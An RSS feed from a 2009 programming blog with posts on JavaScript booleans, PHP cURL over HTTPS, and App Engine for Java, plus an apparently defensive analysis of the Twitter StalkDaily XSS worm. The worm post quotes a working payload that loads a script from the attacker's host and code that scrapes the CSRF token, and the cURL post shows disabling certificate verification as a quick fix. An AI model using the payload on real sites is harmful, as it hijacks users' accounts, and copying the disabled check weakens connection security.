<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>unitstep.net &#187; programming</title>
	<atom:link href="http://unitstep.net/blog/category/programming/feed/" rel="self" type="application/rss+xml" />
	<link>http://unitstep.net</link>
	<description>the home of peter chng</description>
	<lastBuildDate>Mon, 01 Mar 2010 02:28:39 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Evaluation of boolean values in JavaScript</title>
		<link>http://unitstep.net/blog/2009/08/11/evaluation-of-boolean-values-in-javascript/</link>
		<comments>http://unitstep.net/blog/2009/08/11/evaluation-of-boolean-values-in-javascript/#comments</comments>
		<pubDate>Wed, 12 Aug 2009 01:20:05 +0000</pubDate>
		<dc:creator>Peter Chng</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[guides]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[boolean]]></category>
		<category><![CDATA[logical]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://unitstep.net/?p=987</guid>
		<description><![CDATA[If you have a background in a strongly-typed language such as Java, you&#8217;ll be used to using logical operators only with boolean values/expressions.  However, in most dynamically-typed languages this doesn&#8217;t have to be the case, due to the nature of dynamic typing: The type of the variable is often determined based on the context [...]]]></description>
			<content:encoded><![CDATA[<p>If you have a background in a strongly-typed language such as Java, you&#8217;ll be used to using logical operators only with boolean values/expressions.  However, in most dynamically-typed languages this doesn&#8217;t have to be the case, due to the nature of dynamic typing: The type of the variable is often determined based on the <em>context</em> in which it is used.</p>
<p>With <strong>JavaScript</strong> there are actually two concepts at play when using logical operators: What is actually returned from the result of a logical operation, and how variables are converted to boolean values when the context requires it.</p>
<h2>Undergoing a conversion</h2>
<p>Firstly, we&#8217;ll look at how variables in JavaScript are converted to boolean values.  One way to explicitly convert a non-boolean value to a boolean one in JavaScript is to use the <a href="https://developer.mozilla.org/en/Core_JavaScript_1.5_Reference/Global_Objects/Boolean#Description">global Boolean object as a function</a>.  By using the following code, you can explicitly get the boolean conversion of a variable or expression:</p>
<pre><code>var asBoolean = Boolean(someVariable);</code></pre>
<p>The variable <code>asBoolean</code> is now guaranteed to have a boolean value.  <strong>Note that this is not the same as the expression <code>new Boolean(someVariable)</code>, as that returns a Boolean (wrapper) object representing the converted value of <code>someVariable</code>, not a boolean primitive.</strong></p>
<p>So what values of <code>someVariable</code> will result in <code>true</code> being returned, and which ones will result in <code>false?</code>  The following values will evaluate to <code>false</code>, while all others will evaluate to <code>true</code>:</p>
<ul>
<li>0 or -0 (Most floating-point implementations have <a href="http://en.wikipedia.org/wiki/Signed_zero">positive and negative zero</a>, due to the IEEE 754 standard)</li>
<li>null</li>
<li>undefined</li>
<li>NaN</li>
<li>The empty string (&#8220;&#8221;)</li>
<li><code>false</code> itself</li>
</ul>
<p>This means that all other expressions or values, including any non-null object (including the <code>Boolean</code> object for false!) and the string &#8220;false&#8221; will be converted to true.</p>
<p>Note that using the <code>Boolean</code> function isn&#8217;t the only way to explicitly convert a variable to its boolean equivalent.  You could also apply the logical NOT operator twice, like so:</p>
<pre><code>var asBoolean = !(!someVariable);</code></pre>
<p>This is because the contract of the logical NOT operator in JavaScript is to return false if the operand can be converted to true and true otherwise.  The second NOT simply reverses the negation done by the first NOT operator.  While all of this may seem dead simple, it will be important to note as we move on to how other logical operators work.</p>
<h2>Logical conversion</h2>
<p>This is perhaps the most important difference with JavaScript.  <strong>Although the logical NOT operator (!) is guaranteed to return a boolean value, the logical AND (&#038;&#038;) and logical OR (||) operators are not</strong>.  This is by design, and although it might be a bit of a change for some developers, the feature can actually be quite useful.</p>
<p>Consider the following code examples:</p>
<pre><code>var result = a &amp;&amp; b</code></pre>
<p><strong>In this example of using logical AND, <code>a</code> is returned if it can be converted to false; otherwise <code>b</code> is returned.</strong></p>
<pre><code>var result = a || b</code></pre>
<p><strong>In this example of using logical OR, <code>a</code> is returned if it can be converted to true; otherwise <code>b</code> is returned.</strong></p>
<p>This means that one of the original operands or expressions used with the logical operators will be returned as a result of the evaluation.  You will not always get an actual boolean value, unless both of the operands were booleans to begin with.  Usually, this doesn&#8217;t matter, since if you use the result in a boolean context, it will get converted to the expected value.  For example:</p>
<pre><code>var string1 = "";
var string2 = "a string that is not empty";
var result = string1 || string2;
if (result)
{
  window.alert("At least one string was not empty");
  window.alert(result);
}</code></pre>
<p>This example will output &#8220;At least one string was empty&#8221;, and then &#8220;a string that is not empty&#8221;.  This is because the logical OR operator first converts <code>string1</code> to a boolean, which results in <code>false</code>.  Thus, the result of the logical OR returns <code>string2</code> into the result.  Since the result is now a non-empty string, it converts to <code>true</code> for the if-conditional.  </p>
<p>This also highlights a convenient way of using logical OR &#8211; give me the first expression if it evaluates to true, otherwise give me the second.  This is usually used to test for the availability of built-in objects in a particular JavaScript environment.</p>
<p>However, consider the following example:</p>
<pre><code>var string1 = "";
var string2 = "a string that is not empty";
var result = string1 || string2;
if (true == result)
{
  // We will never get here.
  window.alert("At least one string was not empty");
  window.alert(result);
}</code></pre>
<p>In this slightly changed example, instead of directly supplying the result to the if-conditional, we test whether it is equal to <code>true</code>.  In this case, it fails, since when using the <a href="https://developer.mozilla.org/en/Core_JavaScript_1.5_Reference/Operators/Comparison_Operators">equality operator</a>, operands are not converted to booleans.  (Using the strict equality operator also would not work)</p>
<p>This underscores an important point: <strong>If you actually want a boolean value to work with, you will have to explicitly convert it, using either the <code>Boolean</code> function or a double application of the logical NOT operator</strong>, like so:</p>
<pre><code>result = Boolean(result);
// Or, we could do this:
result = !(!result);</code></pre>
<h2>Conclusion</h2>
<p>JavaScript offers some neat features due to its dynamic typing and these can help speed development, but you just need to be aware of how they work so that you don&#8217;t get tripped up.  This is especially true when dealing with implicit type conversion and how logical operators work.  I hope you found this helpful and as always, any feedback is appreciated!</p>
<h3>References</h3>
<ol class="less note">
<li><a href="https://developer.mozilla.org/en/Core_JavaScript_1.5_Guide/Operators/Logical_Operators">Logical Operators</a></li>
<li><a href="https://developer.mozilla.org/en/Core_JavaScript_1.5_Guide/Predefined_Core_Objects/Boolean_Object">Boolean Object</a></li>
<li><a href="https://developer.mozilla.org/en/Core_JavaScript_1.5_Reference/Global_Objects/Boolean#Description">Boolean Description</a></li>
<li><a href="https://developer.mozilla.org/en/Core_JavaScript_1.5_Reference/Operators/Comparison_Operators">Comparison Operators</a></li>
</ol>
<hr/>Copyright &copy; 2010 <strong><a href="http://unitstep.net">unitstep.net</a></strong>. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact <strong><a href="mailto:webmaster@unitstep.net">webmaster@unitstep.net</a></strong> for more information.<br/><span style="float: right;font-size: 7pt"><a href="http://blog.taragana.com/index.php/archive/wordpress-plugins-provided-by-taraganacom/">Plugin</a> by <a href="http://www.taragana.com/">Taragana</a></span>]]></content:encoded>
			<wfw:commentRss>http://unitstep.net/blog/2009/08/11/evaluation-of-boolean-values-in-javascript/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Using cURL in PHP to access HTTPS (SSL/TLS) protected sites</title>
		<link>http://unitstep.net/blog/2009/05/05/using-curl-in-php-to-access-https-ssltls-protected-sites/</link>
		<comments>http://unitstep.net/blog/2009/05/05/using-curl-in-php-to-access-https-ssltls-protected-sites/#comments</comments>
		<pubDate>Wed, 06 May 2009 01:22:12 +0000</pubDate>
		<dc:creator>Peter Chng</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[curl]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[http]]></category>
		<category><![CDATA[pki]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[https]]></category>
		<category><![CDATA[ssl]]></category>
		<category><![CDATA[tls]]></category>

		<guid isPermaLink="false">http://unitstep.net/?p=877</guid>
		<description><![CDATA[
From PHP, you can access the useful cURL Library (libcurl) to make requests to URLs using a variety of protocols such as HTTP, FTP, LDAP and even Gopher.  (If you&#8217;ve spent time on the *nix command line, most environments also have the curl command available that uses the libcurl library)
In practice, however, the most [...]]]></description>
			<content:encoded><![CDATA[<p class="image align-right"><img src="http://unitstep.net/wordpress/wp-content/uploads/2009/05/curl-https-padlock.jpg" alt="curl-https-padlock" title="curl-https-padlock" width="100" height="116" class="alignnone size-full wp-image-895" /></p>
<p>From <acronym class="uttInitialism" title="PHP: Hypertext Preprocessor">PHP</acronym>, you can access the useful <a href="http://ca2.php.net/manual/en/book.curl.php">cURL Library (libcurl)</a> to make requests to URLs using a variety of protocols such as <acronym class="uttInitialism" title="HyperText Transfer Protocol">HTTP</acronym>, FTP, LDAP and even <a href="http://blog.delicious.com/blog/2009/04/delicious-now-supports-gopher.html">Gopher</a>.  (If you&#8217;ve spent time on the *nix command line, most environments also have the <code>curl</code> command available that uses the libcurl library)</p>
<p>In practice, however, the most commonly-used protocol tends to be <acronym class="uttInitialism" title="HyperText Transfer Protocol">HTTP</acronym>, especially when using <acronym class="uttInitialism" title="PHP: Hypertext Preprocessor">PHP</acronym> for server-to-server communication.  Typically this involves accessing another web server as part of a web service call, using some method such as <a href="http://www.w3.org/XML/" class="ubernym uttInitialism"><acronym class="uttInitialism" title="eXtensible Markup Language">XML</acronym></a>-RPC or REST to query a resource.  For example, <a href="http://delicious.com/">Delicious</a> offers <a href="http://delicious.com/help/api">a <acronym class="uttInitialism" title="HyperText Transfer Protocol">HTTP</acronym>-based API</a> to manipulate and read a user&#8217;s posts.  However, when trying to access a HTTPS resource (such as the delicious API), there&#8217;s a little more configuration you have to do before you can get cURL working right in <acronym class="uttInitialism" title="PHP: Hypertext Preprocessor">PHP</acronym>.</p>
<h2>The problem</h2>
<p>If you simply try to access a HTTPS (SSL or TLS-protected resource) in <acronym class="uttInitialism" title="PHP: Hypertext Preprocessor">PHP</acronym> using cURL, you&#8217;re likely to run into some difficulty.  Say you have the following code: (Error handling omitted for brevity)</p>
<pre><code>// Initialize session and set <acronym class="uttInitialism" title="Uniform Resource Locator">URL</acronym>.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);

// Set so curl_exec returns the result instead of outputting it.
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

// Get the response and close the channel.
$response = curl_exec($ch);
curl_close($ch);</code></pre>
<p>If <code>$url</code> points toward an HTTPS resource, you&#8217;re likely to encounter an error like the one below:</p>
<pre><code>Failed: Error Number: 60. Reason: SSL certificate problem, verify that the CA cert is OK. Details:
error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed</code></pre>
<p>The problem is that cURL has not been configured to trust the server&#8217;s HTTPS certificate.  The concepts of certificates and PKI revolves around the trust of Certificate Authorities (CAs), and by default, cURL is setup to <strong>not trust any CAs</strong>, thus it won&#8217;t trust any web server&#8217;s certificate.  So why don&#8217;t you have problems visiting HTTPs sites through your web browser? As it happens, the browser developers were nice enough to <a href="/blog/2009/03/16/using-the-basic-constraints-extension-in-x509-v3-certificates-for-intermediate-cas/">include a list of default CAs to trust</a>, covering most situations, so as long as the website operator purchased a certificate from one of these CAs.</p>
<h2>The quick fix</h2>
<p>There are two ways to solve this problem.  Firstly, we can simply configure cURL to accept <strong>any server(peer) certificate</strong>.  This isn&#8217;t optimal from a security point of view, but if you&#8217;re not passing sensitive information back and forth, this is probably alright.  Simply add the following line before calling <code>curl_exec()</code>:</p>
<pre><code>curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);</code></pre>
<p>This basically causes cURL to blindly accept any server certificate, without doing any verification as to which CA signed it, and whether or not that CA is trusted.  If you&#8217;re at all concerned about the data you&#8217;re passing to or receiving from the server, you&#8217;ll want to enable this peer verification properly.  Doing so is a bit more complicated.</p>
<h2>The proper fix</h2>
<p>The proper fix involves setting the <code>CURLOPT_CAINFO</code> parameter.  This is used to point towards a CA certificate that cURL should trust.  Thus, any server/peer certificates issued by this CA will also be trusted.  In order to do this, we first need to get the CA certificate.  In this example, I&#8217;ll be using the <a href="https://api.del.icio.us/">https://api.del.icio.us/</a> server as a reference.</p>
<p>First, you&#8217;ll need to visit the <acronym class="uttInitialism" title="Uniform Resource Locator">URL</acronym> with your web browser in order to grab the CA certificate.  Then, (in Firefox) open up the security details for the site by double-clicking on the padlock icon in the lower right corner:</p>
<p class="image">
<img src="http://unitstep.net/wordpress/wp-content/uploads/2009/05/curl-https-1.jpg" alt="curl-https-1" title="curl-https-1" width="263" height="84" class="alignnone size-full wp-image-891" />
</p>
<p>Then click on &#8220;View Certificate&#8221;:</p>
<p class="image">
<a href="http://unitstep.net/wordpress/wp-content/uploads/2009/05/curl-https-2.jpg"><img src="http://unitstep.net/wordpress/wp-content/uploads/2009/05/curl-https-2-300x250.jpg" alt="curl-https-2" title="curl-https-2" width="300" height="250" class="alignnone size-medium wp-image-890" /></a>
</p>
<p>Bring up the &#8220;Details&#8221; tab of the cerficates page, and <strong>select the certificate at the top of the hierarchy</strong>.  This is the CA certificate.</p>
<p class="image">
<a href="http://unitstep.net/wordpress/wp-content/uploads/2009/05/curl-https-3.jpg"><img src="http://unitstep.net/wordpress/wp-content/uploads/2009/05/curl-https-3-255x300.jpg" alt="curl-https-3" title="curl-https-3" width="255" height="300" class="alignnone size-medium wp-image-892" /></a>
</p>
<p>Then click &#8220;Export&#8221;, and save the CA certificate to your selected location, making sure to select the <strong>X.509 Certificate (PEM)</strong> as the save type/format.</p>
<p class="image">
<a href="http://unitstep.net/wordpress/wp-content/uploads/2009/05/curl-https-4.jpg"><img src="http://unitstep.net/wordpress/wp-content/uploads/2009/05/curl-https-4-300x223.jpg" alt="curl-https-4" title="curl-https-4" width="300" height="223" class="alignnone size-medium wp-image-893" /></a>
</p>
<p>Now we need to modify the cURL setup to use this CA certificate, with <code>CURLOPT_CAINFO</code> set to point to where we saved the CA certificate file to.</p>
<pre><code>curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
curl_setopt($ch, CURLOPT_CAINFO, getcwd() . "/CAcerts/BuiltinObjectToken-EquifaxSecureCA.crt");</code></pre>
<p>The other option I&#8217;ve included, <code>CURLOPT_SSL_VERIFYHOST</code> can be set to the following integer values:</p>
<ul>
<li>0: Don&#8217;t check the common name (CN) attribute</li>
<li>1: Check that the common name attribute at least exists</li>
<li>2: Check that the common name exists and that it matches the host name of the server</li>
</ul>
<p>If you have <code>CURLOPT_SSL_VERIFYPEER</code> set to false, then from a security perspective, it doesn&#8217;t really matter what you&#8217;ve set <code>CURLOPT_SSL_VERIFYHOST</code> to, since without peer certificate verification, the server could use any certificate, including a self-signed one that was guaranteed to have a CN that matched the server&#8217;s host name.  So this setting is really only relevant if you&#8217;ve enabled certificate verification.</p>
<p>This ensures that not just any server certificate will be trusted by your cURL session.  For example, if an attacker were to somehow redirect traffic from <strong>api.delicious.com</strong> to their own server, the cURL session here would not properly initialize, since the attacker would not have access to a server certificate (i.e. would not have the private key) trusted by the CA we added.  These steps effectively export the trusted CA from the web browser to the cURL configuration.</p>
<h2>More information</h2>
<p>If you have the CA certificate, but it is not in the PEM format (i.e. it is in a binary or DER format that isn&#8217;t Base64-encoded), you&#8217;ll need to use something like OpenSSL to convert it to the PEM format.  The exact command differs depending on whether you&#8217;re converting from PKCS12 or DER format.</p>
<p>There is a <code>CURLOPT_CAPATH</code> option that allows you to specify a directory that holds multiple CA certificates to trust.  But it&#8217;s not as simple as dumping every single CA certificate in this directory.  Instead, they CA certificates must be named properly, and the <a href="http://www.openssl.org/docs/ssl/SSL_CTX_load_verify_locations.html">OpenSSL <code>c_rehash</code> utility can be used</a> to properly setup this directory for use by cURL.</p>
<hr/>Copyright &copy; 2010 <strong><a href="http://unitstep.net">unitstep.net</a></strong>. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact <strong><a href="mailto:webmaster@unitstep.net">webmaster@unitstep.net</a></strong> for more information.<br/><span style="float: right;font-size: 7pt"><a href="http://blog.taragana.com/index.php/archive/wordpress-plugins-provided-by-taraganacom/">Plugin</a> by <a href="http://www.taragana.com/">Taragana</a></span>]]></content:encoded>
			<wfw:commentRss>http://unitstep.net/blog/2009/05/05/using-curl-in-php-to-access-https-ssltls-protected-sites/feed/</wfw:commentRss>
		<slash:comments>21</slash:comments>
		</item>
		<item>
		<title>Google App Engine for Java: First thoughts</title>
		<link>http://unitstep.net/blog/2009/04/15/google-app-engine-for-java-first-thoughts/</link>
		<comments>http://unitstep.net/blog/2009/04/15/google-app-engine-for-java-first-thoughts/#comments</comments>
		<pubDate>Wed, 15 Apr 2009 23:29:22 +0000</pubDate>
		<dc:creator>Peter Chng</dc:creator>
				<category><![CDATA[app engine]]></category>
		<category><![CDATA[cloud computing]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[web2.0]]></category>
		<category><![CDATA[hosting]]></category>
		<category><![CDATA[web applications]]></category>

		<guid isPermaLink="false">http://unitstep.net/?p=866</guid>
		<description><![CDATA[
When Google launched App Engine about one year ago, many were excited about their expected move into the cloud computing space, but at the same time, dismayed that it only supported Python, a language seemingly favoured at the Mountain View-headquartered company.
However, Google was adamant that they would begin supporting new languages and began taking requests [...]]]></description>
			<content:encoded><![CDATA[<p class="image align-right"><img src="http://unitstep.net/wordpress/wp-content/uploads/2009/04/google-app-engine-java.jpg" alt="google-app-engine-java" title="google-app-engine-java" width="175" height="154" class="alignnone size-full wp-image-873" /></p>
<p>When Google <a href="http://www.readwriteweb.com/archives/google_cloud_control.php">launched App Engine about one year ago</a>, many were excited about their expected move into the cloud computing space, but at the same time, dismayed that it only supported Python, a language seemingly favoured at the Mountain View-headquartered company.</p>
<p>However, Google was adamant that they would begin supporting new languages and <a href="http://code.google.com/p/googleappengine/issues/list">began taking requests on their issue tracker</a> for what language to support next.  So, it was no surprise that <a href="http://googleappengine.blogspot.com/2009/04/seriously-this-time-new-language-on-app.html">support for Java was announced last week</a> as part of an <a href="http://code.google.com/appengine/docs/java/overview.html">&#8220;Early Look&#8221;</a> at the feature. </p>
<h2>I qualified for signup!</h2>
<p>The <a href="http://code.google.com/appengine/">Google App Engine page</a> indicated that access would be limited to the first 10,000 developers who signed up, but I was able to get approved for access after signing up over the weekend, even though Java support was launched last Wednesday on April 8th.  Google has since expanded the &#8220;early Look&#8221; <a href="http://googleappengine.blogspot.com/2009/04/early-look-at-java-language-support.html">to accommodate a total of 25,000 developers</a>, so be sure to sign up if you can!</p>
<p>The choice of Java as the next language to support was no big surprise, as indicated by <a href="http://java.dzone.com/news/will-google-app-engine-ever-su">many</a> <a href="http://news.cnet.com/8301-17939_109-10074158-2.html">articles</a> speculating on the matter.</p>
<p>Furthermore, Java is one of the most popular languages out there, both outside and inside Google, making it a logical choice.  This is seen by the numerous Java projects Google has created/supported, such as <a href="http://code.google.com/webtoolkit/">Google Web Toolkit</a> and <a href="http://code.google.com/p/google-guice/">Google Guice</a>.  Additionally, Java is second to none when it comes to a viable developer ecosystem, which has resulted in great open source projects such as <a href="http://www.jboss.com/">JBoss</a>, the <a href="http://commons.apache.org/">Apache Commons</a> collections, and other libraries/frameworks that have provided great tools to any Java developer, allowing them focus on developing their application instead of worrying about lower-level problems.  There are also a great many websites out there running on J2EE, such as <a href="http://www.linkedin.com/">LinkedIn</a> and numerous corporate websites.</p>
<h2>App Engine as a enabler for free/cheap Java hosting</h2>
<p>However, this hasn&#8217;t translated into the availability of cheap web hosting for J2EE/Java development.  Typically, web hosting for a shared-server solution will be only a few dollars per month if you&#8217;re using a scripting/interpreted language like <acronym class="uttInitialism" title="PHP: Hypertext Preprocessor">PHP</acronym>, Python or Perl.  If you want to develop Java web applications though, you&#8217;ll likely have to pay much more due to the complexity and overhead of the hosting provider having to run a Java VM.</p>
<p>As outlined in <a href="http://newfoo.net/2009/04/08/google-app-engine-will-change-java-web-development.html">this somewhat overly optimistic article</a>, Google&#8217;s support for Java in App Engine has the potential to change the game by offering a cheap/low-cost, or in most cases, a free solution to allow developers to begin creating J2EE/Java-based web applications.  This will have the effect of encouraging greater adoption of J2EE as a server-side solution.  In my opinion, the high cost of Java web hosting has indeed hampered its adoption by the community, as compared to alternatives like <acronym class="uttInitialism" title="PHP: Hypertext Preprocessor">PHP</acronym>, Python and Ruby.</p>
<h2>Hello, World</h2>
<p>As for me, I&#8217;m currently devoting my free time to experimenting on App Engine using Java.  So far, the <a href="http://code.google.com/appengine/docs/java/runtime.html">documention</a> and <a href="http://code.google.com/appengine/docs/java/gettingstarted/creating.html">tutorial</a> seem to be fairly well-written and easy to follow, and for the most part App Engine is using the standard Java APIs for providing most of their service functionality.  Furthermore, Google has made an <a href="http://code.google.com/appengine/docs/java/tools/eclipse.html">excellent Eclipse plugin</a> for App Engine Java support, which provides not only the SDK, but also a built-in development server/Jetty-based servlet container for local testing, but also the tools necessary to upload your application to Google&#8217;s servers directly from the IDE.  Another reason why <a href="/blog/2008/02/10/eclipse-the-best-and-only-ide-youll-ever-need/">Eclipse is the best IDE</a> out there.</p>
<p>I hope to have something working within a few days, at least to test the service and play around with its capabilities.  Overall, I&#8217;m very impressed!</p>
<hr/>Copyright &copy; 2010 <strong><a href="http://unitstep.net">unitstep.net</a></strong>. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact <strong><a href="mailto:webmaster@unitstep.net">webmaster@unitstep.net</a></strong> for more information.<br/><span style="float: right;font-size: 7pt"><a href="http://blog.taragana.com/index.php/archive/wordpress-plugins-provided-by-taraganacom/">Plugin</a> by <a href="http://www.taragana.com/">Taragana</a></span>]]></content:encoded>
			<wfw:commentRss>http://unitstep.net/blog/2009/04/15/google-app-engine-for-java-first-thoughts/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How the Twitter StalkDaily Worm spread so fast</title>
		<link>http://unitstep.net/blog/2009/04/13/how-the-twitter-stalkdaily-worm-spread-so-fast/</link>
		<comments>http://unitstep.net/blog/2009/04/13/how-the-twitter-stalkdaily-worm-spread-so-fast/#comments</comments>
		<pubDate>Tue, 14 Apr 2009 03:50:40 +0000</pubDate>
		<dc:creator>Peter Chng</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[privacy]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[social networking]]></category>
		<category><![CDATA[spam]]></category>
		<category><![CDATA[twitter]]></category>
		<category><![CDATA[web2.0]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[worm]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://unitstep.net/?p=847</guid>
		<description><![CDATA[
If you use Twitter a lot (unlike me) you&#8217;ll likely have been alerted and worried about the presence of a worm that&#8217;s been making the rounds at the popular micro-blogging website.  The so-called &#8220;StalkDaily&#8221; worm was first noticed on Saturday, and it appeared to be able to &#8220;infect&#8221; a user&#8217;s Twitter profile, causing random [...]]]></description>
			<content:encoded><![CDATA[<p class="image align-right"><img src="http://unitstep.net/wordpress/wp-content/uploads/2009/04/biohazard.jpg" alt="biohazard" title="biohazard" width="100" height="145" class="alignnone size-full wp-image-853" /></p>
<p>If you use Twitter a lot (unlike me) you&#8217;ll likely have been alerted and worried about the <a href="http://www.techcrunch.com/2009/04/11/twitter-hit-by-stalkdaily-worm/">presence of a worm that&#8217;s been making the rounds</a> at the popular micro-blogging website.  The so-called &#8220;StalkDaily&#8221; worm was first noticed on Saturday, and it appeared to be able to &#8220;infect&#8221; a user&#8217;s Twitter profile, causing random tweets about the StalkDaily website (<strong>don&#8217;t go there</strong>)  to show up on their profile.  Furthermore, other user&#8217;s Twitter profiles could also become infected, seemingly by <strong>only viewing the profile of another infected user</strong>.</p>
<p>Eventually the <a href="http://gist.github.com/93782">source code of the worm was uncovered</a>, (safe to view) and a quick analysis of the worm shows why it was able to quickly spread through Twitter so fast.  Here&#8217;s an overview of how the worm worked.</p>
<h2>Overview</h2>
<p>The StalkDaily worm was apparently <a href="http://adjix.com/af5t">written by a person named &#8220;Mikeyy Mooney&#8221;</a>, who is evidently a 17-year old from Brooklyn, New York.  He created the original worm, plus other derivatives that spread using the same mechanism but displayed different messages on the infected user&#8217;s profile.  The attack was not able to steal user&#8217;s passwords, thanks to Twitter&#8217;s security configuration, but <a href="http://www.cbc.ca/technology/story/2009/04/13/twitter-worm.html">it nonetheless caused over 10,000 unauthorized tweets</a> to show up on users&#8217; profiles.</p>
<h2>Drilling down</h2>
<p>An analysis of the <a href="http://gist.github.com/93782">source code of the worm</a> yields some insight into how this malicious code was able to spread so effectively.  Specifically, the attack used <a href="http://en.wikipedia.org/wiki/Cross-site_scripting#Persistent">Type 2 or persistent XSS vulnerability</a>, the most serious type, in order to achieve DOM/JavaScript injection into the Twitter site.</p>
<p>In this sort of attack, the attacker was able to arbitrary JavaScript into a page that was publicly viewable by any other user; in this case the page was a user&#8217;s profile.  This injected JavaScript was then used to &#8220;infect&#8221; the profile of the user who viewed the already-infected profile, causing the cycle to repeat.</p>
<p>Specifically, the &#8220;<acronym class="uttInitialism" title="Uniform Resource Locator">URL</acronym>&#8221; field of the user&#8217;s profile is targeted.  This contents of this field were apparently not sanitized from user input, or the contents were not properly converted to <acronym class="uttInitialism" title="HyperText Markup Language">HTML</acronym> entities when setting the contents to the value of the <code>href</code> attribute when displaying the user&#8217;s <acronym class="uttInitialism" title="Uniform Resource Locator">URL</acronym> or homepage/website.  This is seen in lines 104 and 109 of the source code, shown below:</p>
<pre><code>var xss = urlencode('http://www.stalkdaily.com"&gt;</a>&lt;script src="http://mikeyylolz.uuuq.com/x.js"&gt;&lt;/script&gt;&lt;a ');
...
var ajaxConn1 = new XHConn();
ajaxConn1.connect("/account/settings", "POST", "authenticity_token="+authtoken+"&amp;user[url]="+xss+"&amp;tab=home&amp;update=update");</code></pre>
<p>The last line is where the user&#8217;s profile is updated to show the offending JavaScript; this essentially make the user&#8217;s profile execute the worm&#8217;s source code, causing anyone who views the profile to become &#8220;infected&#8221; themselves.</p>
<p>Thus the attacker was able to exploit this to arbitrarily inject a SCRIPT tag into the DOM linking to a JavaScript file (<code>x.js</code>) on his site.  By doing this, he was able to get code he owned (the JavaScript file on his own website) to run at the privilege level of scripts on the Twitter.com domain.  This &#8220;privilege escalation&#8221; of sorts is what allowed the script to perform actions on behalf of the user, including infecting their profile to spread to others, and causing the user to tweet phrases of the attacker&#8217;s choice.</p>
<h2>Spreading</h2>
<p>Once infected, a user&#8217;s profile would contain a link to the malicious JavaScript as described above.  This is because the user&#8217;s profile shows a link to their website <acronym class="uttInitialism" title="Uniform Resource Locator">URL</acronym>, which had been altered to inject the malicious JavaScript residing the attacker&#8217;s server.  Because of this, <strong>anyone who was logged into Twitter and viewed an infected user&#8217;s profile would themselves be infected</strong>, and their profile would then become a vector for transmission of the worm, completing the cycle. </p>
<p>The source code also shows that each time you viewed an infected profile, the script would cause you to randomly tweet one of six different phrases, all of which linked to the StalkDaily website.  It appears the <a href="http://adjix.com/b52w">attacker was trying to promote his website this way</a>, but it&#8217;s also possible that going to this website could also cause you to become infected.  While viewing a resource directly on the StalkDaily website could not cause you to become infected, due to the same-origin policy, it&#8217;s possible that a hidden <code>iframe</code> could be included on the site, pointing towards the profile of an infected user.  This would case you to become infected.</p>
<h2>Why XSS is so important to prevent against</h2>
<p>Cross-site scripting attacks, or XSS for short, essentially occur because user-input data is not properly sanitized prior to being committed to persistent storage, or is not properly escaped into <acronym class="uttInitialism" title="HyperText Markup Language">HTML</acronym> entities before being output to a webpage or displayed.  This can allow a malicious user to inject or alter the structure of the DOM, inserting <code>script</code> tags to inject their own arbitrary JavaScript into your website.</p>
<p>This attack demonstrates the need to effectively guard against these vulnerabilities, because such flaws can undermine other security precautions you have taken.  For example, the source code of the worm shows that Twitter was using an &#8220;authentication token&#8221; for all form submissions in order to prevent <a href="http://en.wikipedia.org/wiki/Cross-site_request_forgery">Cross-site Request Forgery (CSRF) attacks</a>.  This is essentially using a temporary, random value to ensure that a form was submitted from the Twitter website itself, so that not any website can submit a form request to Twitter on behalf of a user.</p>
<p>This can normally prevent malicious websites from performing actions on your behalf without your knowledge; however because the XSS vulnerability allowed for DOM/script injection, the attacker&#8217;s script (on a separate domain) was able to run with the same privilege of a script on Twitter&#8217;s own site.  Thus, it was able to read in the &#8220;authentication token&#8221; value from the <acronym class="uttInitialism" title="HyperText Markup Language">HTML</acronym> of the Twitter webpage, and use it to properly craft form submission data to alter the user&#8217;s profile and tweet on their behalf.  This is seen on lines 85-90:</p>
<pre><code>var content = document.documentElement.innerHTML;

authreg = new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
var authtoken = authreg.exec(content);
authtoken = authtoken[1];
//alert(authtoken);</code></pre>
<p>Note that using a cookie to store the authentication token would not have prevented this.  Because the script was running within the scope of the Tiwtter.com domain, it would be able to access the user&#8217;s cookies!  In fact it does exactly this, and furthermore it sends your cookies to the attacker&#8217;s server so they can keep a log of them! Lines 78-81 show this: (The username is obtained from the DOM, much like the authentication token)</p>
